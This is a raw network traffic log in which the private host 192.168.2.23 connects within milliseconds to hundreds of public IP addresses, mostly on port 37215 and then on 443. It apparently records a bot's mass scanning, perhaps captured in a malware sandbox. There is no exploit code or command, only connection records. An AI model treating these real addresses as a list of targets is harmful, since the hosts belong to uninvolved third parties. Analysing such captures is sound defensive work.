Dec 28, 2024 20:41:50.042016983 CET	28660	37215	192.168.2.23	156.247.127.244
Dec 28, 2024 20:41:50.042051077 CET	28660	37215	192.168.2.23	41.218.200.143
Dec 28, 2024 20:41:50.042053938 CET	28660	37215	192.168.2.23	197.165.208.150
Dec 28, 2024 20:41:50.042066097 CET	28660	37215	192.168.2.23	156.149.196.2
Dec 28, 2024 20:41:50.042066097 CET	28660	37215	192.168.2.23	41.226.233.151
Dec 28, 2024 20:41:50.042068958 CET	28660	37215	192.168.2.23	156.219.120.124
Dec 28, 2024 20:41:50.042079926 CET	28660	37215	192.168.2.23	41.78.96.169
Dec 28, 2024 20:41:50.042082071 CET	28660	37215	192.168.2.23	156.240.236.213
Dec 28, 2024 20:41:50.042084932 CET	28660	37215	192.168.2.23	156.174.25.84
Dec 28, 2024 20:41:50.042088985 CET	28660	37215	192.168.2.23	41.167.103.46
Dec 28, 2024 20:41:50.042100906 CET	28660	37215	192.168.2.23	197.204.132.49
Dec 28, 2024 20:41:50.042118073 CET	28660	37215	192.168.2.23	41.194.167.97
Dec 28, 2024 20:41:50.042192936 CET	28660	37215	192.168.2.23	156.192.132.90
Dec 28, 2024 20:41:50.042207003 CET	28660	37215	192.168.2.23	41.245.244.128
Dec 28, 2024 20:41:50.042212963 CET	28660	37215	192.168.2.23	156.225.215.92
Dec 28, 2024 20:41:50.042233944 CET	28660	37215	192.168.2.23	156.230.136.46
Dec 28, 2024 20:41:50.042242050 CET	28660	37215	192.168.2.23	197.175.32.94
Dec 28, 2024 20:41:50.042243958 CET	28660	37215	192.168.2.23	197.135.6.25
Dec 28, 2024 20:41:50.042256117 CET	28660	37215	192.168.2.23	197.160.177.203
Dec 28, 2024 20:41:50.042265892 CET	28660	37215	192.168.2.23	156.80.238.96
Dec 28, 2024 20:41:50.042273045 CET	28660	37215	192.168.2.23	41.100.134.250
Dec 28, 2024 20:41:50.042283058 CET	28660	37215	192.168.2.23	156.93.68.42
Dec 28, 2024 20:41:50.042284966 CET	28660	37215	192.168.2.23	156.4.228.40
Dec 28, 2024 20:41:50.042289972 CET	28660	37215	192.168.2.23	41.182.36.249
Dec 28, 2024 20:41:50.042295933 CET	28660	37215	192.168.2.23	41.223.212.222
Dec 28, 2024 20:41:50.042296886 CET	28660	37215	192.168.2.23	197.251.151.31
Dec 28, 2024 20:41:50.042296886 CET	28660	37215	192.168.2.23	197.12.196.122
Dec 28, 2024 20:41:50.042296886 CET	28660	37215	192.168.2.23	156.41.14.179
Dec 28, 2024 20:41:50.042309999 CET	28660	37215	192.168.2.23	41.96.140.46
Dec 28, 2024 20:41:50.042309999 CET	28660	37215	192.168.2.23	41.26.116.132
Dec 28, 2024 20:41:50.042337894 CET	28660	37215	192.168.2.23	156.85.55.67
Dec 28, 2024 20:41:50.042352915 CET	28660	37215	192.168.2.23	197.136.131.231
Dec 28, 2024 20:41:50.042354107 CET	28660	37215	192.168.2.23	156.45.45.166
Dec 28, 2024 20:41:50.042355061 CET	28660	37215	192.168.2.23	41.153.16.238
Dec 28, 2024 20:41:50.042359114 CET	28660	37215	192.168.2.23	197.39.53.50
Dec 28, 2024 20:41:50.042371035 CET	28660	37215	192.168.2.23	41.108.3.141
Dec 28, 2024 20:41:50.042381048 CET	28660	37215	192.168.2.23	197.147.182.97
Dec 28, 2024 20:41:50.042387962 CET	28660	37215	192.168.2.23	41.203.23.176
Dec 28, 2024 20:41:50.042387962 CET	28660	37215	192.168.2.23	156.123.15.132
Dec 28, 2024 20:41:50.042387962 CET	28660	37215	192.168.2.23	41.248.250.162
Dec 28, 2024 20:41:50.042402983 CET	28660	37215	192.168.2.23	197.86.34.83
Dec 28, 2024 20:41:50.042463064 CET	28660	37215	192.168.2.23	197.165.24.156
Dec 28, 2024 20:41:50.042464018 CET	28660	37215	192.168.2.23	41.167.24.187
Dec 28, 2024 20:41:50.042467117 CET	28660	37215	192.168.2.23	156.129.244.190
Dec 28, 2024 20:41:50.042479992 CET	28660	37215	192.168.2.23	197.18.221.92
Dec 28, 2024 20:41:50.042481899 CET	28660	37215	192.168.2.23	156.185.204.166
Dec 28, 2024 20:41:50.042486906 CET	28660	37215	192.168.2.23	156.38.83.149
Dec 28, 2024 20:41:50.042490959 CET	28660	37215	192.168.2.23	41.42.54.170
Dec 28, 2024 20:41:50.042494059 CET	28660	37215	192.168.2.23	156.183.52.68
Dec 28, 2024 20:41:50.042507887 CET	28660	37215	192.168.2.23	41.141.85.23
Dec 28, 2024 20:41:50.042515993 CET	28660	37215	192.168.2.23	156.165.109.113
Dec 28, 2024 20:41:50.042521954 CET	28660	37215	192.168.2.23	197.62.57.155
Dec 28, 2024 20:41:50.042526007 CET	28660	37215	192.168.2.23	156.44.100.14
Dec 28, 2024 20:41:50.042529106 CET	28660	37215	192.168.2.23	41.188.100.105
Dec 28, 2024 20:41:50.042541027 CET	28660	37215	192.168.2.23	156.140.198.118
Dec 28, 2024 20:41:50.042541981 CET	28660	37215	192.168.2.23	197.163.76.170
Dec 28, 2024 20:41:50.042546988 CET	28660	37215	192.168.2.23	156.131.156.44
Dec 28, 2024 20:41:50.042546988 CET	28660	37215	192.168.2.23	41.225.151.135
Dec 28, 2024 20:41:50.042546988 CET	28660	37215	192.168.2.23	197.7.55.157
Dec 28, 2024 20:41:50.042552948 CET	28660	37215	192.168.2.23	41.120.33.221
Dec 28, 2024 20:41:50.042558908 CET	28660	37215	192.168.2.23	41.0.44.84
Dec 28, 2024 20:41:50.042577028 CET	28660	37215	192.168.2.23	156.22.133.81
Dec 28, 2024 20:41:50.042581081 CET	28660	37215	192.168.2.23	41.99.90.113
Dec 28, 2024 20:41:50.042583942 CET	28660	37215	192.168.2.23	197.106.116.32
Dec 28, 2024 20:41:50.042593002 CET	28660	37215	192.168.2.23	41.117.144.194
Dec 28, 2024 20:41:50.042594910 CET	28660	37215	192.168.2.23	41.20.28.130
Dec 28, 2024 20:41:50.042594910 CET	28660	37215	192.168.2.23	156.69.108.178
Dec 28, 2024 20:41:50.042602062 CET	28660	37215	192.168.2.23	41.186.167.11
Dec 28, 2024 20:41:50.042609930 CET	28660	37215	192.168.2.23	156.107.214.141
Dec 28, 2024 20:41:50.042618990 CET	28660	37215	192.168.2.23	156.180.152.12
Dec 28, 2024 20:41:50.042619944 CET	28660	37215	192.168.2.23	197.139.156.87
Dec 28, 2024 20:41:50.042634964 CET	28660	37215	192.168.2.23	41.221.52.253
Dec 28, 2024 20:41:50.042638063 CET	28660	37215	192.168.2.23	197.181.107.196
Dec 28, 2024 20:41:50.042646885 CET	28660	37215	192.168.2.23	156.8.96.12
Dec 28, 2024 20:41:50.042653084 CET	28660	37215	192.168.2.23	156.156.34.59
Dec 28, 2024 20:41:50.042658091 CET	28660	37215	192.168.2.23	41.220.76.167
Dec 28, 2024 20:41:50.042664051 CET	28660	37215	192.168.2.23	41.0.129.227
Dec 28, 2024 20:41:50.042670965 CET	28660	37215	192.168.2.23	197.95.250.190
Dec 28, 2024 20:41:50.042675018 CET	28660	37215	192.168.2.23	41.49.223.186
Dec 28, 2024 20:41:50.042682886 CET	28660	37215	192.168.2.23	156.137.187.165
Dec 28, 2024 20:41:50.042691946 CET	28660	37215	192.168.2.23	41.161.164.22
Dec 28, 2024 20:41:50.042702913 CET	28660	37215	192.168.2.23	41.71.41.240
Dec 28, 2024 20:41:50.042711973 CET	28660	37215	192.168.2.23	197.157.82.53
Dec 28, 2024 20:41:50.042712927 CET	28660	37215	192.168.2.23	41.213.135.53
Dec 28, 2024 20:41:50.042726994 CET	28660	37215	192.168.2.23	41.56.67.236
Dec 28, 2024 20:41:50.042727947 CET	28660	37215	192.168.2.23	197.143.119.11
Dec 28, 2024 20:41:50.043081045 CET	28660	37215	192.168.2.23	197.191.246.190
Dec 28, 2024 20:41:50.043119907 CET	28660	37215	192.168.2.23	41.72.100.212
Dec 28, 2024 20:41:50.043119907 CET	28660	37215	192.168.2.23	41.29.124.187
Dec 28, 2024 20:41:50.043121099 CET	28660	37215	192.168.2.23	197.191.79.216
Dec 28, 2024 20:41:50.043122053 CET	28660	37215	192.168.2.23	197.120.65.168
Dec 28, 2024 20:41:50.043123960 CET	28660	37215	192.168.2.23	197.183.75.223
Dec 28, 2024 20:41:50.043128014 CET	28660	37215	192.168.2.23	156.170.236.189
Dec 28, 2024 20:41:50.043131113 CET	28660	37215	192.168.2.23	156.135.45.117
Dec 28, 2024 20:41:50.043138027 CET	28660	37215	192.168.2.23	41.30.41.80
Dec 28, 2024 20:41:50.043138981 CET	28660	37215	192.168.2.23	197.115.137.64
Dec 28, 2024 20:41:50.043147087 CET	28660	37215	192.168.2.23	156.161.116.169
Dec 28, 2024 20:41:50.043148041 CET	28660	37215	192.168.2.23	197.172.209.23
Dec 28, 2024 20:41:50.043150902 CET	28660	37215	192.168.2.23	41.22.120.20
Dec 28, 2024 20:41:50.043152094 CET	28660	37215	192.168.2.23	41.248.155.74
Dec 28, 2024 20:41:50.043157101 CET	28660	37215	192.168.2.23	41.160.226.30
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	197.10.5.116
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	156.227.62.135
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	197.5.133.112
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	197.198.242.221
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	41.191.222.199
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	41.121.80.5
Dec 28, 2024 20:41:50.043160915 CET	28660	37215	192.168.2.23	41.13.131.249
Dec 28, 2024 20:41:50.043190002 CET	28660	37215	192.168.2.23	197.141.159.132
Dec 28, 2024 20:41:50.043190002 CET	28660	37215	192.168.2.23	41.209.49.24
Dec 28, 2024 20:41:50.043190002 CET	28660	37215	192.168.2.23	197.238.244.91
Dec 28, 2024 20:41:50.043191910 CET	28660	37215	192.168.2.23	156.157.30.58
Dec 28, 2024 20:41:50.043204069 CET	28660	37215	192.168.2.23	197.48.185.17
Dec 28, 2024 20:41:50.043204069 CET	28660	37215	192.168.2.23	41.20.130.35
Dec 28, 2024 20:41:50.043204069 CET	28660	37215	192.168.2.23	156.193.153.61
Dec 28, 2024 20:41:50.043204069 CET	28660	37215	192.168.2.23	156.135.188.115
Dec 28, 2024 20:41:50.043206930 CET	28660	37215	192.168.2.23	41.39.193.233
Dec 28, 2024 20:41:50.043206930 CET	28660	37215	192.168.2.23	156.47.33.195
Dec 28, 2024 20:41:50.043206930 CET	28660	37215	192.168.2.23	156.155.25.33
Dec 28, 2024 20:41:50.043206930 CET	28660	37215	192.168.2.23	197.103.61.149
Dec 28, 2024 20:41:50.043214083 CET	28660	37215	192.168.2.23	41.178.128.88
Dec 28, 2024 20:41:50.043224096 CET	28660	37215	192.168.2.23	41.150.147.62
Dec 28, 2024 20:41:50.043224096 CET	28660	37215	192.168.2.23	197.88.68.55
Dec 28, 2024 20:41:50.043239117 CET	28660	37215	192.168.2.23	41.24.73.82
Dec 28, 2024 20:41:50.043241024 CET	28660	37215	192.168.2.23	197.67.246.217
Dec 28, 2024 20:41:50.043241978 CET	28660	37215	192.168.2.23	156.132.76.12
Dec 28, 2024 20:41:50.043241024 CET	28660	37215	192.168.2.23	197.250.91.28
Dec 28, 2024 20:41:50.043245077 CET	28660	37215	192.168.2.23	41.77.181.16
Dec 28, 2024 20:41:50.043245077 CET	28660	37215	192.168.2.23	197.160.95.112
Dec 28, 2024 20:41:50.043251038 CET	28660	37215	192.168.2.23	41.173.24.148
Dec 28, 2024 20:41:50.043251038 CET	28660	37215	192.168.2.23	41.50.111.98
Dec 28, 2024 20:41:50.043255091 CET	28660	37215	192.168.2.23	197.144.28.60
Dec 28, 2024 20:41:50.043255091 CET	28660	37215	192.168.2.23	197.47.199.115
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	197.150.68.118
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	197.185.219.164
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	41.180.171.168
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	41.120.85.131
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	41.234.139.187
Dec 28, 2024 20:41:50.043256044 CET	28660	37215	192.168.2.23	41.87.233.94
Dec 28, 2024 20:41:50.043282986 CET	28660	37215	192.168.2.23	156.247.130.231
Dec 28, 2024 20:41:50.043286085 CET	28660	37215	192.168.2.23	156.239.17.99
Dec 28, 2024 20:41:50.043286085 CET	28660	37215	192.168.2.23	41.127.41.76
Dec 28, 2024 20:41:50.043301105 CET	28660	37215	192.168.2.23	156.146.50.36
Dec 28, 2024 20:41:50.043301105 CET	28660	37215	192.168.2.23	156.89.27.43
Dec 28, 2024 20:41:50.043301105 CET	28660	37215	192.168.2.23	41.106.184.181
Dec 28, 2024 20:41:50.043301105 CET	28660	37215	192.168.2.23	41.101.98.195
Dec 28, 2024 20:41:50.043301105 CET	28660	37215	192.168.2.23	156.213.72.229
Dec 28, 2024 20:41:50.043303967 CET	28660	37215	192.168.2.23	41.154.107.87
Dec 28, 2024 20:41:50.043304920 CET	28660	37215	192.168.2.23	156.38.249.33
Dec 28, 2024 20:41:50.043304920 CET	28660	37215	192.168.2.23	156.34.200.242
Dec 28, 2024 20:41:50.043306112 CET	28660	37215	192.168.2.23	156.118.148.106
Dec 28, 2024 20:41:50.043306112 CET	28660	37215	192.168.2.23	197.173.204.22
Dec 28, 2024 20:41:50.043306112 CET	28660	37215	192.168.2.23	156.73.137.51
Dec 28, 2024 20:41:50.043308973 CET	28660	37215	192.168.2.23	156.100.57.36
Dec 28, 2024 20:41:50.043308973 CET	28660	37215	192.168.2.23	197.127.71.117
Dec 28, 2024 20:41:50.043308973 CET	28660	37215	192.168.2.23	41.46.61.159
Dec 28, 2024 20:41:50.043320894 CET	28660	37215	192.168.2.23	156.123.217.104
Dec 28, 2024 20:41:50.043320894 CET	28660	37215	192.168.2.23	41.224.254.220
Dec 28, 2024 20:41:50.043337107 CET	28660	37215	192.168.2.23	156.179.62.121
Dec 28, 2024 20:41:50.043337107 CET	28660	37215	192.168.2.23	41.123.193.181
Dec 28, 2024 20:41:50.043337107 CET	28660	37215	192.168.2.23	197.154.244.106
Dec 28, 2024 20:41:50.043344975 CET	28660	37215	192.168.2.23	41.239.228.169
Dec 28, 2024 20:41:50.043351889 CET	28660	37215	192.168.2.23	41.237.224.106
Dec 28, 2024 20:41:50.043354988 CET	28660	37215	192.168.2.23	156.181.80.246
Dec 28, 2024 20:41:50.043361902 CET	28660	37215	192.168.2.23	41.113.12.127
Dec 28, 2024 20:41:50.043364048 CET	28660	37215	192.168.2.23	156.116.152.156
Dec 28, 2024 20:41:50.043368101 CET	28660	37215	192.168.2.23	197.237.108.48
Dec 28, 2024 20:41:50.043386936 CET	28660	37215	192.168.2.23	197.214.238.164
Dec 28, 2024 20:41:50.043390036 CET	28660	37215	192.168.2.23	41.240.58.202
Dec 28, 2024 20:41:50.043390036 CET	28660	37215	192.168.2.23	41.39.125.11
Dec 28, 2024 20:41:50.043406010 CET	28660	37215	192.168.2.23	197.207.26.224
Dec 28, 2024 20:41:50.043406010 CET	28660	37215	192.168.2.23	197.64.87.41
Dec 28, 2024 20:41:50.043407917 CET	28660	37215	192.168.2.23	156.146.242.135
Dec 28, 2024 20:41:50.043414116 CET	28660	37215	192.168.2.23	197.69.132.48
Dec 28, 2024 20:41:50.043431997 CET	28660	37215	192.168.2.23	197.165.14.197
Dec 28, 2024 20:41:50.043431997 CET	28660	37215	192.168.2.23	156.6.95.139
Dec 28, 2024 20:41:50.043437958 CET	28660	37215	192.168.2.23	41.116.66.15
Dec 28, 2024 20:41:50.043437958 CET	28660	37215	192.168.2.23	156.128.180.184
Dec 28, 2024 20:41:50.043438911 CET	28660	37215	192.168.2.23	197.61.223.220
Dec 28, 2024 20:41:50.043441057 CET	28660	37215	192.168.2.23	156.7.160.94
Dec 28, 2024 20:41:50.043441057 CET	28660	37215	192.168.2.23	41.56.100.108
Dec 28, 2024 20:41:50.043484926 CET	28660	37215	192.168.2.23	156.115.161.1
Dec 28, 2024 20:41:50.043490887 CET	28660	37215	192.168.2.23	197.79.140.98
Dec 28, 2024 20:41:50.043493986 CET	28660	37215	192.168.2.23	41.216.149.106
Dec 28, 2024 20:41:50.043493986 CET	28660	37215	192.168.2.23	41.3.129.30
Dec 28, 2024 20:41:50.043493986 CET	28660	37215	192.168.2.23	156.153.181.184
Dec 28, 2024 20:41:50.043494940 CET	28660	37215	192.168.2.23	41.236.108.113
Dec 28, 2024 20:41:50.043500900 CET	28660	37215	192.168.2.23	197.185.236.146
Dec 28, 2024 20:41:50.043505907 CET	28660	37215	192.168.2.23	156.136.53.168
Dec 28, 2024 20:41:50.043505907 CET	28660	37215	192.168.2.23	197.230.193.213
Dec 28, 2024 20:41:50.043512106 CET	28660	37215	192.168.2.23	41.89.217.178
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	197.140.193.151
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	156.123.230.218
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	156.176.222.34
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	197.87.136.97
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	41.202.67.98
Dec 28, 2024 20:41:50.043519020 CET	28660	37215	192.168.2.23	41.151.7.207
Dec 28, 2024 20:41:50.043517113 CET	28660	37215	192.168.2.23	41.131.129.30
Dec 28, 2024 20:41:50.043519020 CET	28660	37215	192.168.2.23	41.122.9.241
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	41.69.7.180
Dec 28, 2024 20:41:50.043517113 CET	28660	37215	192.168.2.23	41.244.30.51
Dec 28, 2024 20:41:50.043515921 CET	28660	37215	192.168.2.23	156.203.136.112
Dec 28, 2024 20:41:50.043517113 CET	28660	37215	192.168.2.23	156.101.28.9
Dec 28, 2024 20:41:50.043517113 CET	28660	37215	192.168.2.23	41.247.21.195
Dec 28, 2024 20:41:50.043518066 CET	28660	37215	192.168.2.23	41.121.27.10
Dec 28, 2024 20:41:50.043517113 CET	28660	37215	192.168.2.23	156.227.40.95
Dec 28, 2024 20:41:50.043518066 CET	28660	37215	192.168.2.23	156.137.222.32
Dec 28, 2024 20:41:50.043519020 CET	28660	37215	192.168.2.23	156.19.205.242
Dec 28, 2024 20:41:50.043519020 CET	28660	37215	192.168.2.23	41.53.159.105
Dec 28, 2024 20:41:50.043533087 CET	28660	37215	192.168.2.23	156.228.111.242
Dec 28, 2024 20:41:50.043533087 CET	28660	37215	192.168.2.23	156.166.150.155
Dec 28, 2024 20:41:50.043533087 CET	28660	37215	192.168.2.23	41.6.239.172
Dec 28, 2024 20:41:50.043533087 CET	28660	37215	192.168.2.23	41.71.239.67
Dec 28, 2024 20:41:50.043555021 CET	28660	37215	192.168.2.23	197.166.114.13
Dec 28, 2024 20:41:50.043556929 CET	28660	37215	192.168.2.23	41.97.229.173
Dec 28, 2024 20:41:50.043556929 CET	28660	37215	192.168.2.23	197.64.92.179
Dec 28, 2024 20:41:50.043556929 CET	28660	37215	192.168.2.23	197.92.92.45
Dec 28, 2024 20:41:50.043557882 CET	28660	37215	192.168.2.23	156.37.40.138
Dec 28, 2024 20:41:50.043556929 CET	28660	37215	192.168.2.23	156.136.120.149
Dec 28, 2024 20:41:50.043557882 CET	28660	37215	192.168.2.23	197.234.126.39
Dec 28, 2024 20:41:50.043560982 CET	28660	37215	192.168.2.23	197.9.9.204
Dec 28, 2024 20:41:50.043561935 CET	28660	37215	192.168.2.23	156.89.229.33
Dec 28, 2024 20:41:50.043561935 CET	28660	37215	192.168.2.23	156.124.59.29
Dec 28, 2024 20:41:50.043561935 CET	28660	37215	192.168.2.23	197.1.99.176
Dec 28, 2024 20:41:50.043565989 CET	28660	37215	192.168.2.23	41.168.205.16
Dec 28, 2024 20:41:50.043569088 CET	28660	37215	192.168.2.23	197.195.195.3
Dec 28, 2024 20:41:50.043569088 CET	28660	37215	192.168.2.23	197.51.7.167
Dec 28, 2024 20:41:50.043574095 CET	28660	37215	192.168.2.23	156.76.255.167
Dec 28, 2024 20:41:50.043576956 CET	28660	37215	192.168.2.23	156.73.178.167
Dec 28, 2024 20:41:50.043576956 CET	28660	37215	192.168.2.23	156.166.147.201
Dec 28, 2024 20:41:50.043576956 CET	28660	37215	192.168.2.23	156.198.220.91
Dec 28, 2024 20:41:50.043576956 CET	28660	37215	192.168.2.23	156.112.129.160
Dec 28, 2024 20:41:50.043585062 CET	28660	37215	192.168.2.23	41.33.49.109
Dec 28, 2024 20:41:50.043585062 CET	28660	37215	192.168.2.23	197.90.58.69
Dec 28, 2024 20:41:50.043602943 CET	28660	37215	192.168.2.23	41.178.209.46
Dec 28, 2024 20:41:50.043602943 CET	28660	37215	192.168.2.23	156.248.216.121
Dec 28, 2024 20:41:50.043606043 CET	28660	37215	192.168.2.23	41.154.208.218
Dec 28, 2024 20:41:50.043606997 CET	28660	37215	192.168.2.23	41.122.67.36
Dec 28, 2024 20:41:50.043606997 CET	28660	37215	192.168.2.23	41.140.106.2
Dec 28, 2024 20:41:50.043608904 CET	28660	37215	192.168.2.23	197.49.90.115
Dec 28, 2024 20:41:50.043608904 CET	28660	37215	192.168.2.23	41.63.66.143
Dec 28, 2024 20:41:50.043610096 CET	28660	37215	192.168.2.23	156.147.237.63
Dec 28, 2024 20:41:50.096163988 CET	28657	443	192.168.2.23	117.193.41.179
Dec 28, 2024 20:41:50.096196890 CET	443	28657	117.193.41.179	192.168.2.23
Dec 28, 2024 20:41:50.096213102 CET	28657	443	192.168.2.23	79.2.161.191
Dec 28, 2024 20:41:50.096215010 CET	28657	443	192.168.2.23	148.177.237.24
Dec 28, 2024 20:41:50.096229076 CET	443	28657	148.177.237.24	192.168.2.23
Dec 28, 2024 20:41:50.096236944 CET	28657	443	192.168.2.23	212.3.204.179
Dec 28, 2024 20:41:50.096246958 CET	28657	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:50.096249104 CET	28657	443	192.168.2.23	117.193.41.179
Dec 28, 2024 20:41:50.096251965 CET	28657	443	192.168.2.23	79.123.250.125
Dec 28, 2024 20:41:50.096251965 CET	28657	443	192.168.2.23	212.36.149.149
Dec 28, 2024 20:41:50.096273899 CET	443	28657	2.205.68.156	192.168.2.23
Dec 28, 2024 20:41:50.096277952 CET	28657	443	192.168.2.23	148.60.3.28
Dec 28, 2024 20:41:50.096277952 CET	28657	443	192.168.2.23	109.78.143.191
Dec 28, 2024 20:41:50.096282959 CET	28657	443	192.168.2.23	94.188.123.160
Dec 28, 2024 20:41:50.096287012 CET	28657	443	192.168.2.23	210.98.175.37
Dec 28, 2024 20:41:50.096287012 CET	28657	443	192.168.2.23	148.177.237.24
Dec 28, 2024 20:41:50.096287012 CET	28657	443	192.168.2.23	37.19.185.3
Dec 28, 2024 20:41:50.096287012 CET	28657	443	192.168.2.23	212.242.192.221
Dec 28, 2024 20:41:50.096319914 CET	28657	443	192.168.2.23	2.92.7.164
Dec 28, 2024 20:41:50.096319914 CET	28657	443	192.168.2.23	42.87.249.156
Dec 28, 2024 20:41:50.096323967 CET	28657	443	192.168.2.23	212.129.89.193
Dec 28, 2024 20:41:50.096326113 CET	28657	443	192.168.2.23	118.72.199.180
Dec 28, 2024 20:41:50.096333981 CET	28657	443	192.168.2.23	178.187.197.67
Dec 28, 2024 20:41:50.096337080 CET	28657	443	192.168.2.23	2.205.68.156
Dec 28, 2024 20:41:50.096352100 CET	28657	443	192.168.2.23	94.207.55.30
Dec 28, 2024 20:41:50.096354961 CET	28657	443	192.168.2.23	212.45.10.216
Dec 28, 2024 20:41:50.096354961 CET	28657	443	192.168.2.23	202.91.201.35
Dec 28, 2024 20:41:50.096364021 CET	28657	443	192.168.2.23	2.190.10.218
Dec 28, 2024 20:41:50.096374989 CET	28657	443	192.168.2.23	148.20.252.24
Dec 28, 2024 20:41:50.096389055 CET	28657	443	192.168.2.23	109.121.30.71
Dec 28, 2024 20:41:50.096393108 CET	28657	443	192.168.2.23	37.31.46.199
Dec 28, 2024 20:41:50.096395016 CET	28657	443	192.168.2.23	109.191.162.128
Dec 28, 2024 20:41:50.096395016 CET	28657	443	192.168.2.23	117.48.120.38
Dec 28, 2024 20:41:50.096406937 CET	28657	443	192.168.2.23	210.137.35.125
Dec 28, 2024 20:41:50.096406937 CET	28657	443	192.168.2.23	94.184.180.133
Dec 28, 2024 20:41:50.096416950 CET	28657	443	192.168.2.23	79.50.155.168
Dec 28, 2024 20:41:50.096435070 CET	28657	443	192.168.2.23	148.81.139.105
Dec 28, 2024 20:41:50.096435070 CET	28657	443	192.168.2.23	148.155.125.222
Dec 28, 2024 20:41:50.096436024 CET	28657	443	192.168.2.23	123.157.195.97
Dec 28, 2024 20:41:50.096451998 CET	28657	443	192.168.2.23	5.100.54.98
Dec 28, 2024 20:41:50.096456051 CET	28657	443	192.168.2.23	123.81.63.163
Dec 28, 2024 20:41:50.096460104 CET	28657	443	192.168.2.23	148.117.253.25
Dec 28, 2024 20:41:50.096467018 CET	28657	443	192.168.2.23	117.224.4.179
Dec 28, 2024 20:41:50.096479893 CET	28657	443	192.168.2.23	212.169.234.104
Dec 28, 2024 20:41:50.096484900 CET	28657	443	192.168.2.23	212.37.50.112
Dec 28, 2024 20:41:50.096494913 CET	28657	443	192.168.2.23	123.178.225.81
Dec 28, 2024 20:41:50.096494913 CET	28657	443	192.168.2.23	94.179.71.146
Dec 28, 2024 20:41:50.096496105 CET	28657	443	192.168.2.23	123.215.17.28
Dec 28, 2024 20:41:50.096496105 CET	28657	443	192.168.2.23	94.41.94.157
Dec 28, 2024 20:41:50.096499920 CET	28657	443	192.168.2.23	37.103.223.152
Dec 28, 2024 20:41:50.096499920 CET	28657	443	192.168.2.23	178.247.244.83
Dec 28, 2024 20:41:50.096508980 CET	28657	443	192.168.2.23	5.134.214.131
Dec 28, 2024 20:41:50.096512079 CET	28657	443	192.168.2.23	210.202.165.210
Dec 28, 2024 20:41:50.096512079 CET	28657	443	192.168.2.23	2.56.32.144
Dec 28, 2024 20:41:50.096512079 CET	28657	443	192.168.2.23	2.74.169.116
Dec 28, 2024 20:41:50.096512079 CET	28657	443	192.168.2.23	42.110.5.96
Dec 28, 2024 20:41:50.096513987 CET	28657	443	192.168.2.23	212.152.42.236
Dec 28, 2024 20:41:50.096508980 CET	28657	443	192.168.2.23	123.233.227.178
Dec 28, 2024 20:41:50.096518040 CET	28657	443	192.168.2.23	212.34.160.83
Dec 28, 2024 20:41:50.096518993 CET	28657	443	192.168.2.23	210.30.153.249
Dec 28, 2024 20:41:50.096525908 CET	28657	443	192.168.2.23	5.94.134.211
Dec 28, 2024 20:41:50.096525908 CET	28657	443	192.168.2.23	202.159.234.207
Dec 28, 2024 20:41:50.096528053 CET	28657	443	192.168.2.23	109.7.174.160
Dec 28, 2024 20:41:50.096529007 CET	28657	443	192.168.2.23	210.117.30.99
Dec 28, 2024 20:41:50.096533060 CET	28657	443	192.168.2.23	212.248.23.181
Dec 28, 2024 20:41:50.096554041 CET	28657	443	192.168.2.23	42.142.215.50
Dec 28, 2024 20:41:50.096554995 CET	28657	443	192.168.2.23	212.210.24.201
Dec 28, 2024 20:41:50.096555948 CET	28657	443	192.168.2.23	42.130.213.177
Dec 28, 2024 20:41:50.096559048 CET	28657	443	192.168.2.23	123.193.108.102
Dec 28, 2024 20:41:50.096575975 CET	28657	443	192.168.2.23	202.42.60.137
Dec 28, 2024 20:41:50.096575975 CET	28657	443	192.168.2.23	212.245.44.90
Dec 28, 2024 20:41:50.096575975 CET	28657	443	192.168.2.23	37.77.5.121
Dec 28, 2024 20:41:50.096579075 CET	28657	443	192.168.2.23	148.165.246.80
Dec 28, 2024 20:41:50.096579075 CET	28657	443	192.168.2.23	210.240.138.84
Dec 28, 2024 20:41:50.096592903 CET	28657	443	192.168.2.23	117.70.136.9
Dec 28, 2024 20:41:50.096599102 CET	28657	443	192.168.2.23	109.146.96.75
Dec 28, 2024 20:41:50.096600056 CET	28657	443	192.168.2.23	37.112.20.165
Dec 28, 2024 20:41:50.096604109 CET	28657	443	192.168.2.23	42.125.18.32
Dec 28, 2024 20:41:50.096612930 CET	28657	443	192.168.2.23	148.189.233.242
Dec 28, 2024 20:41:50.096613884 CET	28657	443	192.168.2.23	42.43.153.67
Dec 28, 2024 20:41:50.096623898 CET	28657	443	192.168.2.23	123.91.13.224
Dec 28, 2024 20:41:50.096631050 CET	28657	443	192.168.2.23	148.126.48.23
Dec 28, 2024 20:41:50.096649885 CET	28657	443	192.168.2.23	123.140.254.92
Dec 28, 2024 20:41:50.096649885 CET	28657	443	192.168.2.23	5.249.225.208
Dec 28, 2024 20:41:50.096657038 CET	28657	443	192.168.2.23	123.235.236.184
Dec 28, 2024 20:41:50.096659899 CET	28657	443	192.168.2.23	210.130.219.255
Dec 28, 2024 20:41:50.096659899 CET	28657	443	192.168.2.23	94.251.153.241
Dec 28, 2024 20:41:50.096662998 CET	28657	443	192.168.2.23	5.193.168.93
Dec 28, 2024 20:41:50.096662998 CET	28657	443	192.168.2.23	178.219.222.14
Dec 28, 2024 20:41:50.096668959 CET	28657	443	192.168.2.23	2.44.101.91
Dec 28, 2024 20:41:50.096677065 CET	28657	443	192.168.2.23	2.66.126.173
Dec 28, 2024 20:41:50.096679926 CET	28657	443	192.168.2.23	37.32.11.85
Dec 28, 2024 20:41:50.096679926 CET	28657	443	192.168.2.23	5.217.128.98
